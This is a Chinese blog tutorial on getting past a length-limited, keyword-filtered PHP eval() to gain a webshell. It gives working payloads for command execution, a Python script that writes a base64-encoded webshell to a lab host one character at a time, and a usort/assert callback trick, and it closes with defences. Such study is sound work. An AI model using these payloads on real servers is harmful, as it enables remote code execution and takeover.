PHP eval 长度限制绕过与 Webshell 获取

发布于:2025-03-29 ⋅ 阅读:(24) ⋅ 点赞:(0)

在 PHP 代码中,如果 eval($param); 存在且长度受限,并且过滤了 evalassert,仍然可以通过多种方法绕过限制,获取 Webshell。

源码

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?>

1. 命令执行的利用

由于 eval 仍然允许代码执行,因此可以通过反引号(``)或 exec() 来执行系统命令。

最短的绕过方式

param=`$_GET[1]`;&1=whoami
  • 反引号 `` 在 PHP 中等价于 shell_exec(),执行 $_GET[1] 传入的命令。

  • &1=bash 使 eval 执行 bash 命令,成功执行系统命令。

使用 exec() 进行命令执行

param=exec($_GET[1]);
  • 直接使用 exec() 执行命令,无需反引号。

  • 适用于某些服务器禁用了反引号但允许 exec() 的情况。

2. 本地文件包含(LFI)利用

利用 file_put_contents() 写入 Webshell

file_put_contents需要三个参数:

filename:要被写入数据的文件名。

data:要写入的数据。类型可以是 string,array 或者是 stream 资源。

        如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

        参数 data 可以是数组(但不能为多维数组),相当于 file_put_contents($filename, join('', $array))。

flags:flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

PHP 提供 file_put_contents() 函数,可用于将数据写入文件,我们可以利用它写入恶意 PHP 代码。

param=$_GET[a](N,a,8);&a=file_put_contents
  • file_put_contents(N, 'a', 8);

    • N 是未定义的常量,会被转换为字符串 'N',即写入 N 文件。

    • a 被解析为 'a',写入 N 文件。

    • 8FILE_APPEND)表示追加写入,而不是覆盖。

但该方法有一个问题:

  • file_put_contents() 无法写入 < 等特殊字符,导致无法直接写入 Webshell。

  • 解决方案:逐字符写入 Base64 编码的 Webshell,再通过 include 解码执行。

最终利用代码:

# 逐字符写入 Base64 编码后的 Webshell
param=$_GET[a](N,a,8);&a=file_put_contents

# 解码并包含 Webshell
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

传入脚本:

import requests
 
string = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"
 
for i in string:
    payload = "http://192.168.44.136/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)
    response = requests.get(payload)
    if response.status_code == 200:
        print(i)
    else:
        print(response.status_code)

3. 变长参数(Variadic Parameters)+ 回调漏洞

PHP 5.6 引入了变长参数特性(...),允许将数组展开为函数参数。结合 usort() 的回调特性,可以利用 assert() 远程执行代码。

利用 usort(...$_GET); 进行代码执行

构造 HTTP 请求:

POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

原理解析:

  • $_GET[1] = ['test', 'var_dump($_SERVER);'],数组展开后传入 usort()

  • $_GET[2] = 'assert',作为 usort() 的回调函数。

  • usort($array, 'assert') 执行 assert('var_dump($_SERVER);'),成功执行 PHP 代码。

  • 直接替换 var_dump($_SERVER); 为 Webshell 代码,即可实现远程控制。

总结

方法 关键技术 绕过原理 适用情况
反引号命令执行 \command`` 执行系统命令 PHP 允许 shell_exec()
exec() exec($_GET[1]); 执行 GET 传入命令 exec() 未被禁用
file_put_contents() 写入 Base64 Webshell 逐字符写入 & 解码包含 LFI 可用
usort(...$_GET); 变长参数展开 usort() 回调漏洞 PHP >= 5.6

其中,usort(...$_GET); 的方法几乎可以绕过所有 WAF 规则,因此特别危险。

防御措施

  1. 移除 eval(),使用 switchwhitelist 限制可执行函数。

  2. 严格过滤输入,使用 preg_match() 限制传入内容,如 preg_match('/^[a-z0-9_]+$/i', $param);

  3. 禁用危险函数:在 php.ini 设置 disable_functions=eval,assert,exec,shell_exec,system,passthru

  4. 使用 Web 应用防火墙(WAF),防止变长参数展开、文件包含等攻击。